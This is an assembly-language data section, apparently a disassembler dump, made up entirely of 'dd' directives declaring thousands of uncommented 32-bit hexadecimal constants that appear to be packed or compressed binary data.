		dd 0BBDD6652h, 0E5DC0DEDh, 0C77B46DDh, 0B0A27A63h, 0AE720D88h
		dd 5C0D0579h, 6D4383B4h, 0FE0E5148h, 0D3DACF1Bh, 989851F1h
		dd 34F795F0h, 24B69A3Ch, 0D64CACD9h, 4B5CFD2Eh,	335EF267h
		dd 8E64E5B3h, 0B3670EA0h, 39A1029Fh, 7F13D43h, 5F3F01A3h
		dd 7D4B4B48h, 1636C955h, 2350B8D8h, 550EEE00h, 589EBE02h
		dd 4539AB8Ch, 7E37FE69h, 9FB9C5B3h, 82A29F46h, 0DD7BEF2Ah
		dd 0B6496BECh, 86F4B745h, 0CBFB8A02h, 0B30191BDh, 5264DFFh
		dd 9260D9B4h, 0EF8BFE53h, 7A5534C1h, 53781A08h,	0FA70AF46h
		dd 7671DA43h, 650F4FC6h, 64063D3Bh, 4C3E0C7Ah, 5A4EA18Fh
		dd 0C7895D94h, 81D3A453h, 0AF61707h, 0A264D123h, 0B853CA79h
		dd 0FF0BDEC9h, 0E9943B96h, 3FAAA3D5h, 5F670606h, 837198Fh
		dd 0FF488F16h, 0DEDBDD83h, 0F3DC3D05h, 71D2827h, 0E1513EFFh
		dd 0AFC34BCFh, 6755F890h, 2E2A9A6Bh, 0E3D26370h, 0E5A48087h
		dd 0C78D4D30h, 0FC17A272h, 9A5BE194h, 7DA37AA6h, 0D42B0B3Dh
		dd 67C6A79h, 31E949EEh,	0AB3E932Fh, 0D4216A78h,	32BC1ACCh
		dd 0A9005703h, 4D7C1C62h, 98A3F706h, 0D7AA63F1h, 5FD5760h
		dd 438CE0C9h, 0D582FE36h, 77A37B2Bh, 12E7E30Fh,	75BFDB87h
		dd 1CEB7F96h, 7F9B56FFh, 6B7F9C6Bh, 0A26B7F82h,	0FF926B7Fh
		dd 23E96B3Bh, 0DFDA20D7h, 26F0C82Bh, 0BA160A04h, 29DCCA1Dh
		dd 8B71E928h, 705AC14Ah, 0DB4532DEh, 86B151B8h,	0AA7D8776h
		dd 3942826Ch, 316C9F97h, 252E3188h, 47051938h, 957D1ACFh
		dd 0D97D167Fh, 0B408CF5h, 0EB59AC0Dh, 0C101BE54h, 6A5470CBh
		dd 509DE53Dh, 0E5AFF9F6h, 0D576D582h, 0ED6FE51Bh, 4D4E15EFh
		dd 0B7310E39h, 9EB7F69Eh, 0DFDA8181h, 24F3003Ah, 843F09DAh
		dd 0D6FE7A6Bh, 88F97F61h, 0CFA7B2BEh, 7F89372h,	0EA81DD0h
		dd 817DC7C7h, 30BF41F3h, 0ED803CE2h, 0ED5E6D58h, 9D939B54h
		dd 0BB63A70Eh, 0E6473960h, 5E30D949h, 906161E3h, 6430C3CCh
		dd 0B925AC14h, 6D7C666Bh, 7EC6CE4Eh, 0E064F2E9h, 982FE0C8h
		dd 28C89EA5h, 685688B7h, 65207156h, 0E04066D4h,	7459B717h
		dd 0AB43CF1Ch, 0B825F114h, 0E71BDF8Bh, 0F82560B1h, 2794520Bh
		dd 2EEC6006h, 23EFA61Eh, 6CC7935Eh, 90B536A6h, 40A5A6BEh
		dd 93815AB3h, 0C9E0CD8Ah, 0A0ADD119h, 386356C5h, 0C6B42AA8h
		dd 7E986E06h, 981E7751h, 95D99C2Dh, 0F10DF503h,	8528292Ah
		dd 83ED6176h, 0B2300A94h, 0A32337E5h, 0B4678ADCh, 83283C46h
		dd 0DF119128h, 378C2DD7h, 0C6F9E656h, 153A46DBh, 6D1EF9ECh
		dd 96BF3EEBh, 0DEE9272Eh, 3A7DBD06h, 9BB936Eh, 0D23130DFh
		dd 5B1BE075h, 398A76A4h, 0EA32F1Eh, 4A782946h, 0DA34BA0Ah
		dd 0AB4159B2h, 0DA1C535Fh, 8899A94Eh, 608D5A60h, 5A9D4085h
		dd 0FE23ADFCh, 0D6FE25ADh
		dd 0F86FE541h, 4CB7B2B5h, 0ACCBD49Ch, 1B42A017h, 0DBD9F8CCh
		dd 0D3CFC56Bh, 0DF5A613Dh, 0F1669870h, 67955817h, 61FDB4C3h
		dd 9674BC9Ah, 0EB8CC0BFh, 0B41685C6h, 2E9E293h,	0B718DE9Eh
		dd 0D53C1F67h, 0B02F9CF8h, 7AB246D4h, 51A3DB63h, 5B025A8Ch
		dd 0CF6E9C93h, 4E501793h, 604A054Dh, 0D9E9CD8Dh, 82D94E01h
		dd 4091E288h, 0D3C38241h, 0CBA98886h, 488469D5h, 421A7874h
		dd 0D9B51888h, 5B977E82h, 82CCD579h, 1B8C3659h,	4A5614Fh
		dd 1D7F4F4Ah, 5713AB17h, 596C9BC0h, 0F112BE01h,	0F805662Dh
		dd 4F28F193h, 5DC32E33h, 0B91CFC04h, 35B02120h,	0AB59EDCEh
		dd 26DCBDC5h, 0C2DF85DFh, 1CB366D5h, 0A01D56E3h, 64388D1Ch
		dd 22DCBA8Bh, 0C3D57C9Bh, 0C43D57CCh, 0C0C3A502h, 0A9E0E3D5h
		dd 496AE8EFh, 40E18592h, 0F20AD0E9h, 4B620308h,	0FE04A834h
		dd 0D6803982h, 0EBEF5EC2h, 0E4F2E959h, 0A7262460h, 5867DB6Ah
		dd 0D6831BC5h, 0C7A01263h, 8BC50404h, 17C9A497h, 6CED0BCh
		dd 20C514E9h, 8BB3A328h, 0D2D995h, 0FB91621Dh, 29DC1EE5h
		dd 61EDF17Eh, 0E195AB5Fh, 80D8B907h, 0B057A8B9h, 0FDAE8126h
		dd 0D15D8C18h, 0EF51F301h, 0F4D0C7C4h, 0E3ADB17Eh, 0D6BB7428h
		dd 5E2654E9h, 2573A073h, 3736309Eh, 0CEBE863Fh,	0E735AF81h
		dd 91D2E547h, 56EB52CCh, 9AD4BF93h, 51AB6475h, 0F21F223Eh
		dd 0CD028832h, 0FE7EE103h, 0BF7F6D61h, 0CFA83695h, 9BAA77EEh
		dd 0E30FA4A0h, 0B34DFBF6h, 78C39D94h, 46623719h, 45BE4368h
		dd 0E90FDF8Dh, 7951FB6h, 0E5B6C5E5h, 36CB97CBh,	2B144DCh
		dd 0C41FE0BFh, 459E2D0Ch, 0AC969FEDh, 95B9729Ch, 4EE03CBEh
		dd 30518BE0h, 1368BC9Fh, 67177DD3h, 5DB7338Bh, 44AD069Ch
		dd 6AD6DA2Ah, 2F083B5Bh, 0B5D5D439h, 0E7AF1C71h, 330577B0h
		dd 83252EDCh, 9BCC2991h, 1C25CA5Dh, 7B90BF31h, 0D8B6290Fh
		dd 0B11CBB57h, 0E2E2F6AFh, 0F3414BBFh, 0E00C3072h, 0E11C6306h
		dd 0D29CB9F3h, 0DB7C916h, 73968DA0h, 28A06951h,	0A95BA419h
		dd 264DB64Fh, 9E238E17h, 0D93EA1FFh, 0A4FB06BBh, 53AA176Dh
		dd 0FC42924Eh, 820A0D83h, 4F7CAB72h, 8A61565Ch,	0CAEF6AD4h
		dd 0CD48B3CCh, 0D9BEF2E7h, 65403626h, 5A062536h, 0FA7E9F07h
		dd 0E1C9AF69h, 0C69EDAF0h, 3536285Dh, 0BAF8791Dh, 43A0508Ch
		dd 129B50F8h, 7D8DC260h, 4F8E6F23h, 0FBA38C18h,	88D62AF9h
		dd 186D04DFh, 127906CFh, 0CD846B7h, 3A486AB3h, 0B83B4B7Dh
		dd 106AF831h, 0B9803875h, 0B9A4C55Fh, 0C4A070B9h, 4A38820Dh
		dd 2F3B80BEh, 503FD4DCh, 6D653E8Ch, 0FC0866E5h,	4E5C2505h
		dd 0BE6A0B70h, 745A5C01h, 50A755F1h, 0FB73D247h, 0C2003C75h
		dd 74A0679h, 620D57A1h,	9DA6A2E7h, 379D8388h, 0E665650Ah
		dd 0D7554BFh, 507CA50Dh, 0CD097E53h, 1C538683h,	1B02E537h
		dd 9D01F806h, 0A958293Dh, 38828BF5h, 7F5125FDh,	6C5FD049h
		dd 0FE924BFAh, 9FBA8162h, 4B02E0ECh, 51C18F89h,	0E1AAC0ADh
		dd 6295050h, 3B9B35C2h,	5D9389CEh, 0A028D1BDh, 0E9A38F94h
		dd 0C18E1D28h, 2B13A2A0h, 91848C33h, 0C6E68B6Eh, 3D1C0182h
		dd 86F10E50h, 293D55EAh, 9762BE17h, 92EF95B4h, 10AAE546h
		dd 3D57D1EAh, 0D7C3FEC2h, 649BE523h, 53B925EDh,	0D8BA1338h
		dd 0CFAADABh, 6865E5C3h, 0C5A05F9Ch, 1B973390h,	240DF594h
		dd 5CEE64C2h, 4CE82D2Fh, 0E98EFCF6h, 0B7820826h, 12D06F2Bh
		dd 148C647Ch, 24A8B5D1h, 824FDA0Fh, 0B9F59056h,	1F459A5Fh
		dd 0E78A7FF3h, 9CEC6174h, 0C66AA4E8h, 0E599BCADh, 4C46F136h
		dd 48AEBE9Fh, 0CA5C1A76h, 5550FF4Bh, 0F01757E5h, 581A1B6Ah
		dd 0F78B9740h, 5AB83946h, 8A23A6ACh, 0A3D47A77h, 9CA258F1h
		dd 0DA83ED8Eh, 7EA9CE20h, 0E2B278C5h, 93E0BF13h, 0AC947ACh
		dd 3E0A6E2Dh, 0AEF0CE3h, 0AAD7CBBEh, 0DA1F134Ch, 0A360AAD6h
		dd 0AB73AE96h, 0FAC819E9h, 6567393Dh, 6F0CF4A0h, 0F1E07162h
		dd 0E9A09C1Eh, 0E8CF853Bh, 43D3853Bh, 497D21FEh, 0A44B2B99h
		dd 1CE57934h, 52507EA7h, 27A9CDBCh, 7EDEBC40h, 0B7CA9BD2h
		dd 0B8BA503Eh, 0B40ED88Fh, 0B58E1D3Ah, 18A4E3BFh, 0D095E725h
		dd 0A1DC3690h, 3672D14Ah, 0AD7CE8CEh, 59BC4C71h, 0CE3A1296h
		dd 368EBD6Dh, 0FF29C7FEh, 52F2A30Dh, 7EA15CD0h,	141FB369h
		dd 0C2D5AFB5h, 0ED38C42Ah, 2F9632A3h, 0C247C6FFh, 8E9C9671h
		dd 4F7D4DFDh, 9AE20D8Fh, 6BC9B20h, 0C3AA8FF9h, 0AA10CFBAh
		dd 147859ECh, 896D1FA3h, 0CED66DDCh, 489BF462h,	0DF753DFBh
		dd 3FBE85Fh, 7500C29Dh,	5030550Ch, 0E30C7780h, 983A8B18h
		dd 585754BEh, 30E3FE38h, 95CC3E4Ah, 32C8FA26h, 0EAFC4AF1h
		dd 0B2F20372h, 0FAB76EABh, 0B0D76E2Eh, 9A5A82BCh, 7976E5DBh
		dd 0CDAB7B18h, 3E782D3h, 0D7370230h, 777AB2C6h,	0DBA5EA61h
		dd 0FFF70079h, 0EA5C53EAh, 53C52DE0h, 0EF89C785h, 0C1A885C7h
		dd 0E2F3ACB2h, 0BF206474h, 0F9434BC9h, 0CB2D10CBh, 0BC38973h
		dd 34160488h, 0E82DF969h, 0BFCFCA46h, 0EC6C950h, 0C6407E88h
		dd 0A7331221h, 39A61C1Ch, 77687D05h, 20725242h,	48A6892h
		dd 0E125172Dh, 95F01AF9h, 3B171A7Fh, 5D31D0AFh,	81AE5BD8h
		dd 0DEDAE7EEh, 0DF86BCAFh, 0E1A70E50h, 0C9DF3D4Ah, 993BE36Ch
		dd 7686345Fh, 18CEFF32h, 920CC9DEh, 1E556BCEh, 4A837233h
		dd 9EEBF193h, 0EB9447Ch, 23C2287h, 968FE5D2h, 0B0A67A26h
		dd 0FBE53698h, 15C9150h, 252ED177h, 0CCC6AF8Bh,	7C2C0B7Ah
		dd 0EA7ECF9Bh, 96DBE07Ah, 0A8BB2A09h, 19155985h, 33A01DC6h
		dd 6E6E5680h, 56768661h, 6F990178h, 7D491AB5h, 18E51A0Fh
		dd 56DF289Eh, 0CE2C8333h, 98CCAA53h, 0A4CC5034h, 3AD19929h
		dd 0E699935Fh, 8E53E4CFh, 0E006DC6h, 0B926746Dh, 3F85F309h
		dd 0D2624818h, 96BEEB2h, 812E525Ch, 0FC58E5BCh,	0D2639A06h
		dd 127E121Ch, 0D563F718h, 69ED669Eh, 46369ED1h,	6066A1DEh
		dd 40C1B7A0h, 0C6DDF56Fh, 0E5456060h, 0D0D4ADD0h, 172B8CD8h
		dd 0B82287B8h, 89A70802h, 58221C50h, 1C861AF0h,	0D01E704Bh
		dd 773688FAh, 0BC1ACD1Ch, 896B680Eh, 668E3F16h,	0D1CB47F6h
		dd 7401F815h, 57D1CCCDh, 8CA287D5h, 2EB42890h, 740A3983h
		dd 6E4ACCE2h, 0C380DFC3h, 8DAA9FE0h, 2AF16301h,	3ECB49E1h
		dd 7E2F113Bh, 675A53C4h, 9CF06D51h, 0CB83053Ah,	0DD54589Dh
		dd 0DB8ADB1Ch, 0D8CCD087h, 0BEAE1766h, 0F31D21B9h, 2E86B069h
		dd 0CF773C9Ah, 3F1DB49Bh, 65310FB0h, 0D0BB3D59h, 14DC3C97h
		dd 37D10B87h, 9DA92FD9h, 46B38B31h, 0D0A53F1Bh,	0A15A972h
		dd 0FC99F4CCh, 0E87BD646h, 3DB3B207h, 0C5A6F521h, 3B27ED39h
		dd 72A315AFh, 0FC6CDEB3h, 62A87CB7h, 0CC1ACF76h, 5F5BAADDh
		dd 1F2DDA3Bh, 6756EEEAh, 99CCA0A6h, 0D42B8399h,	6FD21733h
		dd 0D0A6FD06h, 3DF81CEFh, 0CF2DFDA6h, 801DD6C6h, 0DB8C6D7Ah
		dd 0BFDF1676h, 61D3F81h, 0CC0D37C2h, 0EE1F223Eh, 0CA1FC830h
		dd 0EE8E9058h, 44CCEA63h, 0BF4091E2h, 0F89C1171h, 46D33A9Fh
		dd 966C3A14h, 368BB8FDh, 0EB63F2B5h, 0AD61F82Dh, 0E028F3DBh
		dd 0B3C0443Ch, 0B2BC5517h, 3FF4A9F8h, 541EDCAAh, 42FEF9D9h
		dd 0CFC285C8h, 0F70C3CDh, 5AA370Dh, 43BD6C82h, 794F8C9Dh
		dd 7FC8C3F2h, 0F04F20D8h, 801DE4Fh, 70322EE9h, 0F277C6AEh
		dd 46176BF1h, 97025240h, 97429E5Bh, 4E124E67h, 1767E10Ch
		dd 0B3C14126h, 5712A44h, 0E21B31DDh, 746F24C8h,	0F464DBEDh
		dd 6B7C0AE1h, 71B06B24h
		dd 0E3A53C9Ah, 0BEA318A8h, 27DF644Dh, 0D047E0E6h, 0FE30DA53h
		dd 3E818899h, 8FF00FC2h, 0EB66D63Dh, 0F04D2738h, 167F2365h
		dd 6A37CDBCh, 0A37CA310h, 0A796E946h, 2648F276h, 0B54E5DB8h
		dd 0F0AC5E0Fh, 79D3C4A2h, 52F04A7Ch, 55E1FF74h,	1A8E7098h
		dd 0C25582FCh, 0EDDF3C86h, 8E9F2A70h, 0C8739F82h, 86DD24C6h
		dd 528F4E9Eh, 82CDD320h, 0E201E715h, 85B79D54h,	8F1FB78h
		dd 5CF495A3h, 6E67532Bh, 1F697AA6h, 94FC6357h, 0AA1532BFh
		dd 0A7C2D421h, 0D13D20E1h, 0B6C66663h, 0A8B0DA97h, 0B740C3F0h
		dd 6803E7A7h, 92B825E9h, 0B441EDD7h, 0A8FBF1Ah,	0A1DA35BBh
		dd 0EFE900BCh, 75CA9676h, 0C9FB56C9h, 0A46520ACh, 552EE5C2h
		dd 0AAA4BB3Eh, 74661681h, 0D12F9B2Bh, 0CFACBE49h, 0D87174CBh
		dd 9DE38786h, 2D57976Eh, 6F3B3A75h, 20ABFBE4h, 0D9C8B743h
		dd 4FD3164h, 3139516Dh,	82BD3713h, 46D31426h, 22957F67h
		dd 83D01EFCh, 1428728Bh, 0ED6835DDh, 0C6B4FE55h, 19C49AA7h
		dd 7E913BF0h, 739C8127h, 0ABD72463h, 3A9C9178h,	0E9A98A51h
		dd 82C89E8Dh, 0A6944889h, 0D6B2BB42h, 0D6C4EFF8h, 83613B86h
		dd 0B09AA056h, 57CCE3E7h, 0AE1415Bh, 44C197B1h,	0A6A7D350h
		dd 9E9763F0h, 9CC25F03h, 5231C14Fh, 0D5F1D35Bh,	660C3CC0h
		dd 37BE10BEh, 902E87Ah,	388B02F2h, 0C6D20DB9h, 529A68C4h
		dd 5B8C519Ah, 97265D69h, 38CBAC45h, 2C3BF047h, 9B8D7889h
		dd 2FF6685Ch, 8C05E335h, 3A16C4h, 88C91A67h, 85D003C6h
		dd 9A34E8F5h, 92B66E45h, 0ABE356F8h, 0CACA8DF4h, 9DD191F5h
		dd 0E8A18B9h, 6A6EEB7Ah, 0CBF08515h, 0FD5DFEAEh, 0F577FABBh
		dd 0D5DFEAEFh, 577FABBFh, 5DFEAEFFh, 77FABBFDh,	0DFEAEFF5h
		dd 67FFBFD5h, 4CD3057Fh, 89BA7F2Ch, 2DC01A5h, 600360h
		dd 1F7F8003h, 83804DE0h, 0FC02CF00h, 6A994018h,	26786662h
		dd 0B802A403h, 44006A00h, 334CEF80h, 0C668CF11h, 6E0976D0h
		dd 0F7436D11h, 1C610C3h, 4FC02770h, 58059E01h, 900CD00Bh
		dd 4987953Ah, 6DD89930h, 0A00F300h, 0AC025601h,	6803A805h
		dd 0C01EF801h, 0E002Fh,	1A7003BCh, 0D5801CE0h, 5801690Ch
		dd 80377000h, 0E005A007h, 39F8061h, 37807ECh, 39C00CE0h
		dd 90518980h, 79804Fh, 5AC0377h, 7680068h, 0B3C031F8h
		dd 0BC00AF00h, 600A7009h, 60046000h, 0DD89B44Ah, 60073008h
		dd 8052C001h, 40220075h, 18FC03Bh, 2E8019Eh, 27C02BF8h
		dd 5300A300h, 112C4C62h, 3B800EE0h, 3C004A01h, 0F00CD00h
		dd 0B0093C03h, 0E007A01Fh, 47C038h, 2C530023h, 1CC01F10h
		dd 12801C80h, 5E00B580h, 2B601100h, 0FC02740h, 0F8071E01h
		dd 803EC005h, 1DE00D7h,	10C01BF8h, 1304F440h, 0DD3940B3h
		dd 5CF0Eh, 12B0085h, 19A00AAh, 33F003BEh, 4700FD80h, 0C034E00h
		dd 89C4C03h, 1DC03F1h, 5AC03770h, 1F806680h, 0F00E3C02h
		dd 83801Bh, 29C026Fh, 4E300018h, 69B132h, 21600B3h, 0A7500CD8h
		dd 0D019D600h, 0F99E0BEh, 17802F70h, 3B00DBE0h,	1C00F601h
		dd 0F00D3806h, 119C4025h, 152013EAh, 25804EE0h,	0CD003500h
		dd 7806DF00h, 8045E012h, 57F00C3h, 30900738h, 0A4A1B781h
		dd 19B1378h, 3300560h, 0F507197Ch, 8037F000h, 137807Eh
		dd 1EFC030Eh, 2FC01F60h, 0F00A7E00h, 8076803Dh,	6A0007h
		dd 0AC0356h, 13B80428h,	76E00D20h, 19802480h, 11805600h
		dd 19F23E8h, 5200DFCh, 3C82AAE2h, 1173C066h, 2B00DDC0h
		dd 5805EE00h, 0D0075007h, 0E015B00Ch, 1BF0017h,	0E3801E8h
		dd 3FC03EF0h, 18033E01h, 3E004801h, 81DC00B7h, 11600FCh
		dd 1598052Ch, 138F3CFh,	9E6E14FAh, 0B44031FCh, 4DD6BFD6h
		dd 0D8EFB4E7h, 2F001E20h, 11600B80h, 12402A40h,	34600D80h
		dd 0C076C4D6h, 8F3C14F3h, 78041C01h, 67E016h, 16803DFh
		dd 95801A8h, 33C011F0h,	8045F7E0h, 0A12B00C3h, 9A006B3Eh
		dd 0DC007601h, 800CF40Dh, 698064h, 534300D1h, 803DEC4Ch
		dd 0E7801Eh, 778049Eh, 9E1B7EC2h, 6B000Dh, 2C0096h, 5300598h
		dd 94327860h, 8061C021h, 19E0117h, 0C3C029F8h, 22006D00h
		dd 35600780h, 1C8052C0h, 64805480h, 88C01B00h, 0E018EA15h
		dd 37803Dh, 1BF00F7Eh, 7C039F80h, 0C011A00Fh, 2008B005h
		dd 60092005h, 6019801Ah, 0A1F208h, 11C03F4h, 6700FD8h
		dd 10083BD2h, 0E29720Dh, 3E62760h, 0F2B37FF0h, 0E4D1EE32h
		dd 0CCA10FD5h, 0E7E00DBh, 11C022F0h, 73700EADh,	6652FB55h
		dd 6CCA5CEBh, 0B69BBBAh, 12DA6DB3h, 9979CF76h, 0E5E52D9h
		dd 335F7DBBh, 0A00BBED8h, 0DB3EFFBBh, 0ECD7FB60h, 7985FBB0h
		dd 0F34BDB06h, 0CB8EEC2h, 23212D83h, 0D8BE3EECh, 1C5FEB60h
		dd 0C8B3FF76h, 8FB60h, 0B771BFDFh, 6EF736C1h, 9E07BEFEh
		dd 0FB0EEEFBh, 60C7BA2Bh, 0EC27BE2Bh, 0C189627Eh, 0B092D4F6h
		dd 0C18576BBh, 0D84561B6h, 0B06A5DDDh, 0DD8696F5h, 6C1B757Fh
		dd 0EEC3BBEFh, 0B60D2BBDh, 0F84657E7h, 95FF04AFh, 75F8EE3Ch
		dd 0EBB5DB06h, 1ECDFBF8h, 27A66D83h, 83566FECh,	21A736C1h
		dd 2DF55EECh, 5BE2AD83h, 649B7761h, 614BB5B0h, 0FEF03BF7h
		dd 0DEDB845Eh, 6FCDB06Ch, 0F0DDBCE6h, 0EFBDA55Ch, 1DB06CDFh
		dd 97F61CD8h, 4B60DDB2h, 1F761EDBh, 1DB06DDEh, 37DDCDD9h
		dd 0DC016401h, 19B00Bh,	0AF71D897h, 0CF8071F8h,	3E417001h
		dd 0C0296005h, 3B1F0306h, 55EE0C31h, 5B0055Bh, 0BFA63F00h
		dd 67F008h, 771116BCh, 3187E0CBh, 0A36EF5BCh, 0DDE30616h
		dd 0D6C191F6h, 634F11F1h, 0B6C180F1h, 8E24601Ch, 0CF177ED9h
		dd 3066136Ch, 0B48069DBh, 5A6D986Bh, 1DB302h, 0B32D7798h
		dd 7158019Dh, 0F37DB31Dh, 41B667Ah, 0D9912BB8h,	0DE9401CEh
		dd 7B6CC0h, 0DB32376Ch,	23E00CFh, 0B3137858h, 4ECC00F5h
		dd 8016B662h, 0B6666EBBh, 0B81E01F7h, 75ED985h,	6656E278h
		dd 0D99939BBh, 71300AFEh, 54527582h, 0DC66CDC2h, 0EFA7A8ABh
		dd 0ADA358FEh, 2A18D63Eh, 8DF32DA7h, 61F9D6B6h,	0D19E70F7h
		dd 0DDC79236h, 47E784FFh, 0E13F8800h, 0BA4EDA36h, 0FDC67BF9h
		dd 0FBC2DB46h, 0CFE57BF9h, 9FEAB68Ch, 0DB2FC385h, 139B463h
		dd 92EBD5DCh, 6FD63516h, 4C6EAA6Ah, 0AC6ED772h,	58C4DFAAh
		dd 0A005456Eh, 0BC86AC35h, 7B68D278h, 0B6D194F8h, 96FBC01Bh
		dd 7BE4F6D1h, 0C01B5B46h, 27F800Eh, 0E78013EDh,	3EBE0E00h
		dd 93FBF696h, 22C7E9Ch,	4F7806DEh, 11FBFC3h, 0FB0C8EE8h
		dd 0F57C6BEh, 87F34E7Fh, 0C27A9FE9h, 813F8B68h,	6BB031F9h
		dd 0D2ED7AB4h, 71B8A9D4h, 7FE327EEh, 0EADDF699h, 0BC3FA9BEh
		dd 0EDED259Bh, 7D3C53DDh, 0B9FDBD1Ch, 0FF76FF1Fh, 0BDB3AFEFh
		dd 967B38F8h, 5310DDA5h, 0EEFAC339h, 4DF53FDEh,	0EB277EDDh
		dd 6FF4765Ah, 0F38DA71Bh, 0D5C1795Fh, 6FAD3139h, 7EEAFEAh
		dd 9FA889FAh, 4E9C7AEBh, 0FF9C76BFh, 94EE7184h,	0E3368D2Fh
		dd 66DB4687h, 9E0B7E78h, 0A14D5B49h, 0B7980D2Fh, 0E5F86290h
		dd 0C8102FD8h, 0E1C6126h, 0B86926C3h, 53E0AF9Ch, 6B3E0578h
		dd 0AC30E1C7h, 0A7A70227h, 8E83E749h, 74E43F1Bh, 0F343BF0Ch
		dd 0DB868F7Bh, 8BE1EE07h, 21BF10C6h, 0A0D2FA06h, 61A89591h
		dd 8B74119Ch, 0D91B9F7Dh, 0EE30919Ch, 9DEB906Eh, 0C221AFE0h
		dd 0DF206DDFh, 4B3F818Fh, 8083BF84h, 0C77F02ABh, 0FB842999h
		dd 0BE52E02Bh, 11DDB230h, 18E096F1h, 113CFE00h
		dd 1DC044FCh, 22A77E06h, 2E03F6C2h, 8C36C203h, 1EFDFD86h
		dd 9F63F7C6h, 7F91DD85h, 0ABF47557h, 1D55FA3Ah,	7E8EAAFDh
		dd 7FFF4755h, 2DE7A3A3h, 592BCE2Bh, 0A3BD4F62h,	0B40EAEAAh
		dd 6E4225B3h, 1AEE8969h, 0C5AB8B66h, 0B1B1A93Ch, 68E8A37Ah
		dd 0DD5F5FACh, 0C55454D4h, 757967AEh, 85D54DF5h, 0EAAB1B95h
		dd 0E34CD9AAh, 0EABAEA8Ah, 62EAA6CAh, 6506AC49h, 0BBA34DF1h
		dd 0A82C56B2h, 6ED6746Fh, 7AAEAFBCh, 0F56F3AD9h, 0C5DD917Ah
		dd 2BAB1AF2h, 9729EE45h, 0F9652B1h, 0BCEAC4A1h,	76B15AC6h
		dd 139D657Dh, 6FD6D53Ch, 8A1A2F64h, 5655169Ah, 846C539h
		dd 731B10EDh, 92C321D9h, 0CBE6CAEAh, 261AB23Ch,	1BAB146Ch
		dd 6B3FC32Fh, 0A808DA28h, 7DABACAh, 0DEB40B2Eh,	8516ACE8h
		dd 8DB5CD8Dh, 40371BF5h, 8D955C9Eh, 0EAEB95B5h,	0DD6CDDAAh
		dd 41725057h, 283285BFh, 7F7F5DA9h, 51B4BD5Eh, 0A5ADCC64h
		dd 0A916A0BCh, 0CAFB9009h, 2C677C2Ah, 0A723CB4Dh, 5770C04Ch
		dd 1C4D58E4h, 383437ABh, 940F452Ah, 374607C5h, 0B18293A4h
		dd 4777F07Fh, 25736D63h, 6BEA3Eh, 7C034BCBh, 0E2C86326h
		dd 8EA92AFAh, 0DCAD2F7Ch, 0C7D8EC00h, 0D50D6586h, 0FD92F51Bh
		dd 4ACEA232h, 2AA0903Ch, 0B632A8h, 0D7057E43h, 0A92DA444h
		dd 2EAA7287h, 0F5358DAh, 38C47298h, 0D58934B7h,	376A4A1Bh
		dd 0ACFDB354h, 7ABAB1A0h, 0C6BAED49h, 0EC2DC6CAh, 0D95FF23Ah
		dd 8D8D0A24h, 0DD8C8DF5h, 0AFD779C9h, 6AAAADCFh, 0D8C22684h
		dd 0F525866Bh, 7F9A5595h, 0A363F7E0h, 0BABAAEB3h, 560ED81h
		dd 0EB52C4A0h, 0FBD04F61h, 22CDEAD2h, 0E49DAF2Fh, 6C6DA82Eh
		dd 15AC10D2h, 0B7AD72F9h, 11B6BF29h, 0B89EB0EAh, 0FABCB125h
		dd 8D950D0Dh, 0BE940654h, 0CDE9B18Ah, 0EA510A6Dh, 2E435EB0h
		dd 15CAEE8Fh, 0A0EBF321h, 0DF809AC4h, 197D0C64h, 83D33B76h
		dd 1447D495h, 0C70B2B05h, 9289115h, 0C6EAAEB1h,	2666826h
		dd 318C8354h, 50F46E95h, 3612A91Fh, 0C06EAFAFh,	0A12C0816h
		dd 1318C2CDh, 8BDE47AAh, 0CF7BE20h, 0AE0D95C5h,	0CB4DEADAh
		dd 0A425A86Ah, 0A026B447h, 0DABAF034h, 0B8DD2C67h, 0DFBF8C61h
		dd 9E077B40h, 0EFEBF575h, 0CA2088A7h, 0C4D9AAFBh, 6E7D68AFh
		dd 6FDA1AB6h, 0EAFAED73h, 0FABCFAA2h, 7D63628Dh, 5A937B1Dh
		dd 0E429140Ch, 536B51BCh, 0F53F289Bh, 6A06D275h, 2A1B8D13h
		dd 4040F931h, 0D36D7E7Ch, 9C20D8FDh, 0C1EB950Dh, 112A52F3h
		dd 88A37D4Fh, 8339A0Dh,	0D5D71618h, 2BACABAFh, 0E500DEAEh
		dd 452B14E3h, 0AAC5DA09h, 5721D970h, 6E54A566h,	0ABD885AEh
		dd 656379AAh, 0D4BE59EBh, 56BD0750h, 85CC25D4h,	63345ACBh
		dd 4C972FE7h, 0C5F40E6Ch, 0EEB04826h, 0AF5E9A67h, 0EC05104Eh
		dd 1123585Bh, 9700F6ADh, 89BBBC34h, 0E8DBAC8Dh,	0A5146DAAh
		dd 27603ACAh, 0CF62C8A2h, 36981F71h, 0C0ECC0F4h, 0BD71B2A1h
		dd 56DB7787h, 0E3D70986h, 0E7722EFEh, 0AB2F4311h, 0D85BA607h
		dd 0AEE9C426h, 0EC4ABABCh, 0AD5AF919h, 40A0E16Ah, 2BEC8F5Fh
		dd 23BAC66Eh, 4094D8DDh, 18318DBh, 6AE3D13Fh, 26E57797h
		dd 1E32B966h, 58CCFC42h, 0A1B8DD52h, 6A386376h,	0E648AAC6h
		dd 53406961h, 0A8FD9684h, 813529D1h, 0AD2A924h,	50E52B70h
		dd 0AFFCD2Fh, 7750D073h, 7DD1796Bh, 15EE6814h, 0EC61E750h
		dd 0A905AA0Ch, 38DC2EAEh, 0B688FCD8h, 2F3366EDh, 5C6E6A97h
		dd 0AADF1827h, 1CBF30DCh, 79FC0BC7h, 0A8ED3EF5h, 0C08EC5AFh
		dd 0EF5EBC58h, 0AA1A5B25h, 0FBCBBCD9h, 0C3DA8411h, 26A4EA0Ah
		dd 3A3F444Fh, 9FFB631h,	0F41FD99Bh, 75B9116h, 57B18BBDh
		dd 7DB63775h, 0EEA49676h, 0D1F9DED8h, 0A4C41C78h, 7D8C7084h
		dd 5BA8AC6Eh, 5F61A98Fh, 0E03D5BC0h, 0A1548A71h, 0F0A7D495h
		dd 239B09B6h, 751588E8h, 37873B5Ah, 0B7821B8Eh,	0EAEAA6BAh
		dd 0C867D9FBh, 4FE86485h, 884CCAC6h, 0A061176Dh, 8D4BD41Fh
		dd 317F37D8h, 0BB66EDC6h, 79B1B8C7h, 0E30E3D3Dh, 1597B66h
		dd 6862F875h, 61F79525h, 8B1BED7Dh, 0A47E7881h,	8DD2EFF5h
		dd 0C6607828h, 9097B9A4h, 0E656AE6Bh, 42343342h, 2D4D5F08h
		dd 5A681D0Dh, 2A04D35Fh, 0EA9AEB6Bh, 7D7C81EAh,	12E1FC68h
		dd 0B1F2ED36h, 7CD908AAh, 638D8FACh, 0B47BAF86h, 0F71227D1h
